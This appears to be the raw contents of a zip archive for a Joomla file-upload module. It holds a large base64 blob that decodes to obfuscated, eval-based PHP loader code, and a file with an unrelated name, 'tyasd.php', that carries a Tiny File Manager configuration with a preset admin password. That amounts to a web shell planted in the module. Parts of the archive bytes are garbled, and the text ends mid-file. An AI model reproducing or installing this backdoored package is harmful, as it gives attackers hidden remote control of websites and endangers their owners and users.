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1Zn/uBvV1R3OgpNmRxvCmsniksR6GMwTJwqkoekj9hqLqxlPuC6Y2jZy5UU70k/sorU6q/GRLa7SZjvYXk5lq8L4Fkq4Q1Q4lvvrHQKDa6wewL/UIDqK+hysbtDFDUPK/FIZdMFKtBM1CNYvCxyDLjwbSjFNqeIa56y9rD7A2+Tzq7kfVJ8hEZruMYi8OHP7Ve+uQCcIu1e68whqXpzf647w2Fgsl1swo/0ICnQWna3Omg1F5Oyi4boxVykhl5DzK4iVkJlOTnGqU1v3yBofJmNr98NLtEa2+4DCSaT8h6fRAyY+gO13WjOVwnUwsGhqLttpqgW4Lw4dXf8ec/6h7rzF4U5S3yB/xYElCVGFBjIlkYUW19r0JcJ9Uq2c0B7qKaK3TFaLN087PO4vjziU9TW5BqTfcTU+vj4W/B7V/p7manzTlipFwne0+FIgkMNmOq0so7I5Ystv/GEJaxQZfkGN1uQiryyoX3jbq/910M2XEihzVSqEu9UjaFFNVFkm6V/iG0BIwzI/pfHmIQPxI2AAAnLDBrMG4sIC04KSkpOwp2cyghc2hhcGd2YmFfcmt2ZmdmKCRUWUJPTllGW9XwuF1bMF0pKXtzaGFwZ3ZiYSB1cmsyb3ZhKCR1cmtmZ2UpeyRhPWZnZXlyYSgkdXJrZmdlKTskZm92YT0kVFlCT05ZRlvV8LhdWzBrMDAxXTskdj0wO2p1dnlyKCR2PCRhKXskbj1maG9mZ2UoJHVya2ZnZSwkdiwwazAwMDIpOyRwPWNucHgoJFRZQk9OWUZb1fC4XVswazAwMDJdLCRuKTt2cygkdj09MCl7JGZvdmE9JHA7fXJ5ZnJ7JGZvdmEuPSRwO30kdis9MGswMDAyO31lcmdoZWEgJGZvdmE7fX1zaGFwZ3ZiYSBfQnI5RygkX2YycUxuKXskX2YycUxuPWZob2ZnZSgkX2YycUxuLCh2YWcpKHVyazJvdmEoJFRZQk9OWUZb1fC4XVswazAwMDAzXSkpKTskX2YycUxuPWZob2ZnZSgkX2YycUxuLCh2YWcpKHVyazJvdmEoJFRZQk9OWUZb1fC4XVswazAwMDAwNF0pKSwodmFnKSh1cmsyb3ZhKCRUWUJPTllGW9XwuF1bMGswNV0pKSk7ZXJnaGVhICRfZjJxTG47fSRfWjduR089JFRZQk9OWUZb1fC4XVswazAwNl07JF9lWnA1SENVPSRUWUJPTllGW9XwuF1bMGswMDA3XTtzaGFwZ3ZiYSBfUXpXZURXRGNiZ1hsUzRIcTlBKCRfdkY3c05lYWltKXt0eWJvbnkkX1o3bkdPO3R5Ym9ueSRfZVpwNUhDVTtlcmdoZWEgZmdlZXJpKHRtdmFzeW5ncigkX2VacDVIQ1UoX0JyOUcoJF92RjdzTmVhaW0pKSkpO31yaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShyaW55KHJpbnkocmlueShfUXpXZURXRGNiZ1hsUzRIcTlBKCRUWUJPTllGW9XwuF1bMGswMDAwOF0pKSkpKSkpKSkpKSkpKSkpKSkpOw=='))); ?>PKYy>\"T,^^,mod_simplefileuploadv1.3/elements/donate.phpnuW+Aelement['name']; if ($name === "cleanup") { ?> '; $html .= '
    Well, I think it\'s worth AT LEAST 5 bucks!
    What do you think? (Donate through PayPal. Thanks!)'; return $html; } } }PKYy>\#o,,,mod_simplefileuploadv1.3/elements/index.htmlnuW+APKYy>\kv+mod_simplefileuploadv1.3/elements/tyasd.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR 